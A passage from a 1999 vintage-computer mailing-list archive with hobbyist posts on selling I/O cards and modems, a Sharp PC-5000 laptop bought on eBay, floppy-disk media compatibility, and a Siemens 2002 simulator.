gives you 2 serial and 2 parallel ports. Better than an A/B switch if you run more than one printer, or great if you have a parllel port device like scanner. No more worry about conflicts. Works great under DOS through Win98. I have one in everyone of my 8 bit and 16 bit machines and one in my EISA server. This one is excess and needs a good home Totally setable to whatever you need. The docs (if you want to look at them) are available in PDF format at ftp://ftp.dfiusa.com/multi_io_cards/DIO222/d220830.pdf Full spcifications are shown. Includes 2 9 pin serial and 2 25 pinprinter ports, one of each on the card and one of each on an addtional slot filler, but you can move these to case openings if you desire. Shipping is minmal, probably $3.25 for a couple of them. Also have a couple Intel (and other brands) 14,400 baud internal faxmodems. Windows 95 and 98 see them fine and they work great with Win 3.1 and DOS too. All clean and in great shape. $6 each or 3 for $15 plus shipping. Again, a light item. These work great for someone with an occasional need for internet, send/recv faxes or to use free email or call BBS systems.. These items are for sale to US and APO/FPO addresses only. Shipping to other countries is not cost effective and is a real pain in many cases. I use USPS parcel post, insured unless priority is real close to the same price. Drop me a direct email if interested. Payment by money order only. Ships the same or next day as payment is recieved. These are items I have picked up for other projects and ended up with way too many, these are not connected with a business and are personal sales. From dastar at ncal.verio.com Thu Jan 21 16:41:30 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:23 2005 Subject: eBay Finds (was: Ebay Posts was...) In-Reply-To: <3.0.16.19990121143348.4db736d0@ricochet.net> Message-ID: On Thu, 21 Jan 1999, Uncle Roger wrote: > For $5 and shipping, I got (on eBay!) a Sharp PC-5000 laptop. No biggie > you think? Well, for starters, from what I can tell, it beats the Gavilan > out for second place in the Clamshell laptop race (GRiD Compass was first). > > On top of that, it beats the Gavilan for: removeable program/data > cartridges (uses Bubble Memory carts) clamshell with a built-in portable > printer, and something else I forget at the moment. Are you sure this isn't just a re-branded Gavilan? Sounds an awful lot alike. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From doug at blinkenlights.com Thu Jan 21 16:58:05 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:23 2005 Subject: Sharp PC-5000 (was Re: eBay Finds (was: Ebay Posts was...) In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Sam Ismail wrote: > Are you sure this isn't just a re-branded Gavilan? Sounds an awful lot > alike. Definitely not. Sharp was one of the early portable innovators. I think they also produced the first handheld computer sold in the US (around 1979). -- Doug From ard at p850ug1.demon.co.uk Thu Jan 21 15:35:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:23 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "Fred Cisin" at Jan 21, 99 12:30:40 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 5750 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/c4249641/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 15:14:16 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:23 2005 Subject: Free Stuff! In-Reply-To: <199901212007.MAA00573@daemonweed.reanimators.org> from "Frank McConnell" at Jan 21, 99 12:07:25 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 457 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/4770b8f3/attachment.ksh From marvin at rain.org Thu Jan 21 17:00:38 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:24 2005 Subject: eBay Finds (was: Ebay Posts was...) References: Message-ID: <36A7B196.24FD980C@rain.org> Sam Ismail wrote: > > On Thu, 21 Jan 1999, Uncle Roger wrote: > > > For $5 and shipping, I got (on eBay!) a Sharp PC-5000 laptop. No biggie > > you think? Well, for starters, from what I can tell, it beats the Gavilan > > out for second place in the Clamshell laptop race (GRiD Compass was first). > > > > On top of that, it beats the Gavilan for: removeable program/data > > cartridges (uses Bubble Memory carts) clamshell with a built-in portable > > printer, and something else I forget at the moment. > > Are you sure this isn't just a re-branded Gavilan? Sounds an awful lot > alike. The Sharp PC-5000 looks similar to the Gavilan, but comparing mine to the picture, they are not the same. Nice find Roger!!! From jim at calico.litterbox.com Thu Jan 21 17:04:37 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:24 2005 Subject: eBay Finds pc-5000 In-Reply-To: from "Sam Ismail" at Jan 21, 1999 02:41:30 PM Message-ID: <199901212304.QAA28535@calico.litterbox.com> > > On top of that, it beats the Gavilan for: removeable program/data > > cartridges (uses Bubble Memory carts) clamshell with a built-in portable > > printer, and something else I forget at the moment. > I think I have some bubble memory carts for that thing, they're yours for postage if you want them. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From Jgzabol at aol.com Thu Jan 21 17:02:40 1999 From: Jgzabol at aol.com (Jgzabol@aol.com) Date: Sun Feb 27 18:40:24 2005 Subject: 2002 (was:: Looking for pointers to old Control Data software) Message-ID: <62a0bef8.36a7b210@aol.com> Hello Hans, you are certainly welcome to it - after all its only bits and not a single atom, so it can be copied easily. However, there is no documentation apart from source code comments - it's a (hopefully) portable C program plus some ASCII data files, so it should run on anything that has a C-compiler. Since your address makes me believe that you are affiliated with Siemens Munich, and since I live in Munich too, maybe we just get together and discuss this ? I will send you my coordinates in private email. The simulator maps core and drum to RAM arrays, papertape input and output to File I/O, and the console to keyboard/screen. It would be neat to interface to a real S2002 console - there are at least two in Munich, one at the Siemens museum and one at the Deutsche Museum; maybe that would be a fun project to try one of these to agree to that proposal ????? The compiler I have is in fact the Alcor Triplex Main S2002, the result of a thesis (not mine) done at Mainz University in 1968, extending Algol by the data type TRIPLEX which is an interval representation of a floating-point number: [lower-bound, standard-f.p., upper-bound] Any operation on triplex numbers will produce the min/max values resulting from possible roundoff, so that the error propagation of roundoff may be studied. This is theoretically nice, but in practice you can invert a 10x10 matrix only if you are lucky and it is conditioned extremely well, otherwise some pivot interval will include 0 resulting in a divide error. In those days there were fears that one could not do any calculation involving millions of f.p. operations because of roundoff - that turned out to be really academic. John G. Zabolitzky From donm at cts.com Thu Jan 21 17:15:46 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Tony Duell wrote: > > > > [I am using the popular names (such as "360K", rather than more > > technically correct designations.] > > > > The most important parameter is the magnetic coercivity. > > > > "360K" is 300 Oerstedt. > > "1.2M" is 600 Oerstedt. Therefore, the two will not interchange > > Sure. Some of the IBM Techrefs get this wrong, BTW. At least one edition > gives the same coercivity for the 2 types of disk. > > > satisfactorily. Unlabeled disks can sometimes be differentiated by > > color. If a disk has a reinforcer around the center hub, then it is > > probably a 360K, although it COULD be an after-market reinforcer (jigs > > used to be available.) If there is NOT a reinforcer, then it is either a > > 1.2M, or a very early "360K" > > Don't forget that '720K' 5.25" disks also exist, although they're not > common on IBM PCs. By that I mean 80 track, double density, double sided, > 300 oersted coercivity. Most of those do not have the reinforcing ring IIRC. > > > There ain't no sech thing as a 1.44M disk. The IBM style of HD 3.5 > > Agreed. But I've got fed up with people correcting me when I call them > 1.4Mbyte disks and have adopted popular usage :-( > > > has 2 sides, 80 tracks per side, 18 sectors per track, and 512 bytes per > > sector. If you multiply that out, you get 1.406 HONEST Megabytes > > (1048576). The only way to get 1.44 out of that is to creatively redefine > > a Megabyte to be 1024000 bytes. That leaves IBM in the position of > > 1440Kbytes is OK, though :-) > > 1 Megabyte is often defined as 10^6 bytes by hard disk manufacturers. > Alas that doesnt' work for floppy disks either. > > > > DS v SS (5.25"): The disks are manufactured the same, but the difference > > is whether BOTH sides are tested and/or "certified". Using DS for SS is > > acceptable. Using SS for DS is taking a chance on using untested media. > > Sure. But I have _never_ had a problem with using an RX50 as double > sided, unlike attempting to use '360K' disks as 80 track ones, or even > trying to format some lesser brands of disks as even 360K. > > I would not suggest using an RX50 like this for data that really matters > (in fact I'd not keep that sort of data on any floppy disk apart from > perhaps an 8" one). But if you need a few disks for a TRS-80 or BBC micro > with 80 track drives then this is a possible solution. It works a lot > better than using '360K' disks, even good name-brand ones. > > > "Flippy": The second side can often be used in a single sided drive by > > flipping the disk over. In the case of Apple ][ and Commodore, it > > requires punching a write enable notch. (Which does NOT need to be square.) > > On TRS-80, IBM, etc, it is necessary to also punch an additional > > (symmetric) access hole for the index hole. (jigs for marking and > > punching used to be available.) > > THe Siemens drives in my Zenith Z90 have mounting holes in the chassis > and pins on the PCB to connect a second index sensor and WP sensor. So > you can use any disk as a flippy in those. My drives don't have the extra > sensors fitted, though. > > > > > > > DS V SS (8"): The index hole opening is in a different location. > > Punching a new hole through the jacket normally works OK. > > Be careful if doing this to turn an SS disk into a DS one. Double sided 8" > drives have 2 index sensors so they can tell what sort of disk is > inserted (there is a 2-side line on the SA850 interface). Some drives get > _very_ confused if both sensors are active. > > > > > 720K 5.25" v 360K 5.25": again, an issue of testing/certification, > > similar to SS v DS. At least for a while, they were manufactured the same, > > but were tested/certified for 48tpi or 96 tpi. > > I have had very little success in formatting 48tpi disks in 96tpi drives. > As I mentioned earlier, this includes name-brands like 3M.. Interesting! I have never had a problem using even generic 48tpi disks at 96tpi. - don > > Hard-sectored v soft-sectored: In a system that does not use the index > > hole (Commodore, Apple ][), it doesn't matter. In all others, the only > > way to use the wrong diskette would be to modify the drive to index off > > of the spindle instead of using the sensor. > > Using hard sectored disks as soft-sectored should be possible. Just add a > monostable and a couple of gates to only output a pulse when 2 holes are > close together. > > In other words trigger a non-retriggerable monostable (with a time period > of 3/4 of a sector time) off the trailing edge of the index pulse. AND > the index pulse from the drive with the Q output of the monostable and > feed the result to the controller. > > On the sector holes the monostable has already timed out, so the AND gate > blocks the pulse. On the index hole, the monostable hasn't timed out from > the previous sector pulse, so that one gets through. > > To do the reverse is a lot more difficult - you need to have the sector > pulses accurately positioned wrt the data on the disk. > > I have thought about taking an old 5.25" drive (something that is not > hard to get) and stripping it to get the chassis + spindle + disk clamp. > Then mount a punch/die in place of the index sensor and a disk with > suitable notches in place of the motor pulley. Add a detent on the drive > to go into the notches. Line up the existing hole with the punch and die, > set the detent into one of the notches, and clamp the disk. Now move > round the notches and punch the extra holes. I must try this... > > > > > > > > 3", 3.25": Many newbies will get sloppy in reference to 3.5" diskettes, > > without realizing that there actually were 3" and 3.25" diskettes. 3" > > were used by Amstradt, some non-US Canon?, and Amdek add-on drives for Coco > > The most common use in the UK was the Amstrad machines. But they were > also used on the Tatung Einstein (I am looking at one) and on the Oric > drives. And in some other machines, I'll bet (I have seen them used on a > BBC micro). > > -tony > > From Hans.Franke at mch20.sbs.de Thu Jan 21 18:25:54 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:24 2005 Subject: 2002 (was:: Looking for pointers to old Control Data software) In-Reply-To: <62a0bef8.36a7b210@aol.com> Message-ID: <199901212326.XAA17584@nixpbe.pdb.sni.de> Hi John, > you are certainly welcome to it - after all its only bits and not a single > atom, > so it can be copied easily. However, there is no documentation apart from > source code comments - it's a (hopefully) portable C program plus some > ASCII data files, so it should run on anything that has a C-compiler. Lets see :) > Since your address makes me believe that you are affiliated with Siemens > Munich, > and since I live in Munich too, maybe we just get together and discuss this ? Jep, fixed for shure. > The simulator maps core and drum to RAM arrays, papertape input and output > to File I/O, and the console to keyboard/screen. I cant wait to see the source code :) > It would be neat to interface to > a real S2002 console - there are at least two in Munich, one at the Siemens > museum and one at the Deutsche Museum; maybe that would be a fun project > to try one of these to agree to that proposal ????? Maybe, althrough I think, at least at the Deutsches Museum, they don't treat their computers as they should - my favourated project would be to get the Deutsches Museum 2002 back to work, eventualy with an exception of the drum, which should be replaced by a small (invisible) modern single chip controller to simulate it, since spining up every day for demonstration purpose wasn't possible even back when the machine was new. Anyway - great accident. Servus H. -- Ich denke, also bin ich, also gut HRK From adavie at mad.scientist.com Thu Jan 21 17:29:40 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:24 2005 Subject: eBay Finds (was: Ebay Posts was...) In-Reply-To: <3.0.16.19990121143348.4db736d0@ricochet.net> Message-ID: <000b01be4595$ead19540$70f438cb@a.davie> I also have a Sharp PC-5000 with manuals, portable printer for same, and HEAPS of magnetic bubble memory cartridges. Also a carry case for this thingy. I was going to bring it up earlier when bubble memory was being discussed, but decided it was too off-topic. Now, it's not :) A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ? ? > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Uncle Roger > Sent: Friday, January 22, 1999 9:34 AM > To: Discussion re-collecting of classic computers > Subject: Re: eBay Finds (was: Ebay Posts was...) > > > At 10:01 AM 1/21/99 -0800, you wrote: > >One thing I find interesting is that I rarely find anyone talking about > >their finds on ebay; why not? > > okay, I was waiting until I was able to do more research, but... > > For $5 and shipping, I got (on eBay!) a Sharp PC-5000 laptop. No biggie > you think? Well, for starters, from what I can tell, it beats the Gavilan > out for second place in the Clamshell laptop race (GRiD Compass > was first). > > On top of that, it beats the Gavilan for: removeable program/data > cartridges (uses Bubble Memory carts) clamshell with a built-in portable > printer, and something else I forget at the moment. > > It's pretty cool, and a lot cheaper than some of the commoner stuff I've > gotten. Other eBay scores: V-Marc 88a portable computer, NEC > PC-8201 (not > the 8201A), I'm sure there are more, but I have to go pick up my dad. > > eBay can be useful, but it's takes time to look for old computers. Try > doing a search on "Donald Duck" (with the quotes) -- that's a piece of > cake. Look for computer and you get a lot of junk. Look for > "vintage" and > you miss a lot. > > > --------------------------------------------------------------------- O- > > Uncle Roger "There is pleasure pure in being mad > roger@sinasohn.com that none but madmen know." > Roger Louis Sinasohn & Associates > San Francisco, California http://www.sinasohn.com/ > > From ard at p850ug1.demon.co.uk Thu Jan 21 17:09:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: <19990121212333.25699.qmail@brouhaha.com> from "Eric Smith" at Jan 21, 99 09:23:33 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1115 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/b3ca4cce/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 17:11:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: IE 4/Office 97 Security Hole In-Reply-To: from "Sam Ismail" at Jan 21, 99 01:31:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 376 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/944cd9cb/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 21 17:12:29 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: Hard Sector Disks In-Reply-To: <36A7A207.6954C3AA@rain.org> from "Marvin" at Jan 21, 99 01:54:15 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 524 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/11e47429/attachment.ksh From dastar at ncal.verio.com Thu Jan 21 18:14:56 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:24 2005 Subject: IE 4/Office 97 Security Hole In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Tony Duell wrote: > > > > GAPING SECURITY HOLE IN IE/OUTLOOK AND OFFICE > > > > I don't know what all the fuss is about. I fixed this problem long ago by > > refusing to use any Microsoft internet products. > > I have even better way to avoid all Microsoft bugs.... It's called not > running _any_ Microsoft software. The only Microsoft product that I ever > use on this PC is the ROM BASIC... Well, I would've wanted to make the same claim and sound all lofty but I'm still a slave to Win95 right now. Hopefully once that Free Time I've been yammering about comes around I'll finally get my Linux server up and running and be cleansed of many of my daily toils. Then I start work on the class action lawsuit against Bill Gates for passing off Win95 as an operating system and causing untold damage to the world's economy due to loss of productivity, not to mention data and innovation. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From kurtkilg at geocities.com Wed Jan 20 18:20:51 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:24 2005 Subject: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: Message-ID: On Wed, 20 Jan 1999, Tony Duell wrote: > Current machines aren't like that at all. So I am wondering if there will > be any '10 year old' machines in 2009 or whenever. I bet some of us are > still discussing PDP11s and PDP8s and PERQs and CDCs and.... in that year :-) If someone has an honest question about a 10-year-old computer, by all means, let them ask. But, there isn't too much traffic on this list about PC hardware, and that's not going to grow as the PC market share declines (it can hardly increase). And the thing is, as you say, little can be done for PC hardware. If it's dead, it's dead. > Personally, I'd include the IBM PC (5150) and maybe the XT (5160), > portable (5155) and AT (5170). Like it or not, they had a significant > impact on computing. But I don't think I'll ever think of a generic > PC-clone, no matter how old, as a 'classic'. 'Classic' carries some connotation of class or of being nostalgic, etc. Hardly any PC clones do that. Also, a generic ISA machine is hardly a collectible item, so, again, I doubt they will generate much traffic as time goes on. From eric at brouhaha.com Thu Jan 21 18:26:30 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:24 2005 Subject: eBay Finds (was: Ebay Posts was...) In-Reply-To: <000b01be4595$ead19540$70f438cb@a.davie> (adavie@mad.scientist.com) References: <000b01be4595$ead19540$70f438cb@a.davie> Message-ID: <19990122002630.27001.qmail@brouhaha.com> "Andrew Davie" wrote: > I also have a Sharp PC-5000 with manuals, portable printer for same, and > HEAPS of magnetic bubble memory cartridges. So which manufacturer and size of bubble memory do these use? From pete at dunnington.u-net.com Thu Jan 21 18:27:04 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Don Maslin "Re: Reiability of wrong media (was: is out of 5-1/4" diskettes" (Jan 21, 15:15) References: Message-ID: <9901220027.ZM3508@indy.dunnington.u-net.com> On Jan 21, 15:15, Don Maslin wrote: > Subject: Re: Reiability of wrong media (was: is out of 5-1/4" diskettes > On Thu, 21 Jan 1999, Tony Duell wrote: > > Don't forget that '720K' 5.25" disks also exist, although they're not > > common on IBM PCs. By that I mean 80 track, double density, double sided, > > 300 oersted coercivity. Most of those do not have the reinforcing ring IIRC. And they're pretty common on non-MSDOS systems. I far more 80-track DS drives than 40-track of any flavour. > > > 720K 5.25" v 360K 5.25": again, an issue of testing/certification, > > > similar to SS v DS. At least for a while, they were manufactured the same, > > > but were tested/certified for 48tpi or 96 tpi. > > > > I have had very little success in formatting 48tpi disks in 96tpi drives. > > As I mentioned earlier, this includes name-brands like 3M.. > > Interesting! I have never had a problem using even generic 48tpi disks > at 96tpi. > - don Nor have I, usually. I tend to treat all double-density 5.25" disks the same. Some of the old ones I have were converted to be "flippy" 40-track, and some time ago I found one such without a label. Not knowing whether it really had been formatted flipped, I tried it out, using the by-now-standard 80-track DS drive and a two-step circuit, and found it had. "OK, so that's a flippy", I said to myself. A little later, I re-read the catalogue -- and got a different listing! I had inadvertantly catalogued side two, with the disk right-side-up -- and realised that the tracks must not line up, so side two had two sets of data, going in opposite rotations, with the tracks interleaved! So I have a three-sided 40 track disk :-) > > > 3", 3.25": Many newbies will get sloppy in reference to 3.5" diskettes, > > > without realizing that there actually were 3" and 3.25" diskettes. 3" > > > were used by Amstradt, some non-US Canon?, and Amdek add-on drives for Coco There are also 2.5" disks, though the only ones I've seen were made by TDK for an early digital camera. Anyone remember the make? Canon? -- Pete Peter Turnbull Dept. of Computer Science University of York From jruschme at exit109.com Thu Jan 21 18:30:22 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:24 2005 Subject: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: from Tony Duell at "Jan 21, 99 11:09:35 pm" Message-ID: <199901220030.TAA05355@crobin.home.org> > > Actually, that's not true. If that's what we are discussing here in 2007, > > I'll be looking for a list with a charter to discuss computers at least > > 20 years old. As it is, I already would like to see the charter amended to > > exclude all IBM-compatible x86 systems, but there are some people that > > Personally, I'd include the IBM PC (5150) and maybe the XT (5160), > portable (5155) and AT (5170). Like it or not, they had a significant > impact on computing. But I don't think I'll ever think of a generic > PC-clone, no matter how old, as a 'classic'. > > > actually LIKE the damned things, so it's apparently not going to happen. But then I'd want to add the Compaq portable and the Kaypro 2000 and soon we'd be right back to where we are. > > > > Eric > > > > -tony > > From dastar at ncal.verio.com Thu Jan 21 18:58:32 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <9901220027.ZM3508@indy.dunnington.u-net.com> Message-ID: On Fri, 22 Jan 1999, Pete Turnbull wrote: > "OK, so that's a flippy", I said to myself. A little later, I re-read the > catalogue -- and got a different listing! I had inadvertantly catalogued > side two, with the disk right-side-up -- and realised that the tracks must > not line up, so side two had two sets of data, going in opposite rotations, > with the tracks interleaved! This can't be possible! Otherwise, why didn't someone exploit this to make 4-sided diskettes?? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From doug at blinkenlights.com Thu Jan 21 19:11:13 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:24 2005 Subject: GRID LAPTOP In-Reply-To: <1999Jan19.162855.1767.182582@smtp.itgonline.com> Message-ID: Here's an image every GRiD collector should copy. A GRiD Compass used on STS 51-G with a picture of Spock on the screen: http://images.jsc.nasa.gov/images/pao/STS51G/10062178.jpg Put this picture in your ebay ad, and watch the price skyrocket! (BTW, I've never seen an original Compass offered on ebay, but one sold for $700 in a "normal" auction a couple of years ago.) -- Doug From ard at p850ug1.demon.co.uk Thu Jan 21 18:08:44 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "Don Maslin" at Jan 21, 99 03:15:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1274 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/55cc078e/attachment.ksh From marvin at rain.org Thu Jan 21 19:19:22 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes References: Message-ID: <36A7D21A.40FAC6DD@rain.org> Don Maslin wrote: > > On Thu, 21 Jan 1999, Tony Duell wrote: > > > I have had very little success in formatting 48tpi disks in 96tpi drives. > > As I mentioned earlier, this includes name-brands like 3M.. > > Interesting! I have never had a problem using even generic 48tpi disks > at 96tpi. I have been able to format 360K disks at 1.2 MB, but there starts to be a fair number of bad sectors as the formating progresses towards the center of the disk. I have also found that 360K disks formatted at 1.2 MB tend to have a shorter data life span. Formatting 720K as 1.44 MB also seems to result in a shorter data life span but not as bad as the 360Ks formatted at 1.2 MB, probably because the oerstadt rating is closer. From jrkeys at concentric.net Thu Jan 21 19:25:12 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:24 2005 Subject: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: <00d501be44e4$08079720$e0e5fea9@mainoffice> Message-ID: <000201be45a6$0ea785a0$efafadce@5x86jk> the goodwill's here have them most of the time for $1 a box. These are new unopened name brands. John Try looking were you are, I'm in Minneapolis. > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Richard A. Cini, > Jr. > Sent: Wednesday, January 20, 1999 8:15 PM > To: Discussion re-collecting of classic computers > Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes > > > Hello, all: > > I tried ordering the bulk 5-1/4" disks yesterday. Gone for good...none > left...sorry...bye bye...look elsewhere. > > Better start stockpiling 360k diskettes... > > [ Rich Cini/WUGNET > [ ClubWin!/CW7 > [ MCP Windows 95/Windows Networking > [ Collector of "classic" computers > [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ > [ http://highgate.comm.sfu.ca/~rcini/pdp11/ > <================ reply separator =================> > > > > > From sinasohn at ricochet.net Thu Jan 21 19:40:06 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:24 2005 Subject: Zorba the Geek Message-ID: <3.0.16.19990121171117.3de79bee@ricochet.net> From sinasohn at ricochet.net Thu Jan 21 19:40:09 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:24 2005 Subject: Kaypros and Osbornes Message-ID: <3.0.16.19990121171524.3de72fb8@ricochet.net> At 03:05 PM 1/21/99 -0500, you wrote: >I might be willing to unload mine. When I hear one went for $400 on E-Bay. I've not heard of a Zorba going for $400 on eBay. The only one I've ever seen on there went for a little over $125. It was the weekend around 11/9/1997 and I was on a weekend get-away with my GF when it closed. I had also blown a significant bit of cash on the weekend, so I couldn't just bid higher. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Thu Jan 21 19:40:11 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:24 2005 Subject: [OT] Re: IE 4/Office 97 Security Hole Message-ID: <3.0.16.19990121172417.3de79fb0@ricochet.net> At 09:23 PM 1/21/99 -0000, you wrote: >exclude all IBM-compatible x86 systems, but there are some people that Well, the average say, post-85 desktop PC, I would heartily agree with. Some, however, especially portables, do have some innovations/freakishness. Like the Sharp portable I mentioned, or the Gavilan, Compass, etc. I will break with my above comments long enough to say that if I had lots of storage space, it would be really cool to get a PC's Limited pc... --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Thu Jan 21 19:40:13 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:24 2005 Subject: eBay Finds (was: Ebay Posts was...) Message-ID: <3.0.16.19990121174235.3de7f4ca@ricochet.net> At 02:41 PM 1/21/99 -0800, you wrote: >> For $5 and shipping, I got (on eBay!) a Sharp PC-5000 laptop. No biggie >Are you sure this isn't just a re-branded Gavilan? Sounds an awful lot >alike. Very sure. Though I suppose the Gavilan could have copied the Sharp's design. 8^) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From rcini at msn.com Thu Jan 21 19:07:06 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:40:24 2005 Subject: Finished Posting MOS Hardware Guide Message-ID: <00a601be45aa$2ff38d40$e0e5fea9@mainoffice> Hello, all: Tonight, I finished posting the MOS Technologies Hardware Guide. It appears to be a complete guide to designing and using MOS microprocessor and peripheral products. [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From rcini at msn.com Thu Jan 21 19:02:18 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:40:24 2005 Subject: Altair FP Schematic? Message-ID: <00a501be45aa$2f3c7240$e0e5fea9@mainoffice> Hello, all: Does anyone have a schematic for the Altair front panel? In my document collection, I have the CPU, power supply, clock, and RAM schematics, but not the FP schematic. Thanks. [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From pete at dunnington.u-net.com Thu Jan 21 20:01:32 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:24 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Sam Ismail "Re: Reiability of wrong media (was: is out of 5-1/4" diskettes" (Jan 21, 16:58) References: Message-ID: <9901220201.ZM3647@indy.dunnington.u-net.com> On Jan 21, 16:58, Sam Ismail wrote: > Subject: Re: Reiability of wrong media (was: is out of 5-1/4" diskettes > On Fri, 22 Jan 1999, Pete Turnbull wrote: > > > "OK, so that's a flippy", I said to myself. A little later, I re-read the > > catalogue -- and got a different listing! I had inadvertantly catalogued > > side two, with the disk right-side-up -- and realised that the tracks must > > not line up, so side two had two sets of data, going in opposite rotations, > > with the tracks interleaved! > > This can't be possible! Otherwise, why didn't someone exploit this to > make 4-sided diskettes?? It was an 80-track drive, but the disk was formatted to 40 tracks originally -- there just happened to be two sets of 40 on one of the sides. The second set was probably recorded on a double-stepped 80-track drive, so the track width was only half as wide as a real 40-track would have written, and becuse of the offset between upper and lower heads, just happened to fall in the right place. It would be an awfully complicated way to get 80 tracks out of an 80 track drive :-) -- Pete Peter Turnbull Dept. of Computer Science University of York From dpeschel at u.washington.edu Thu 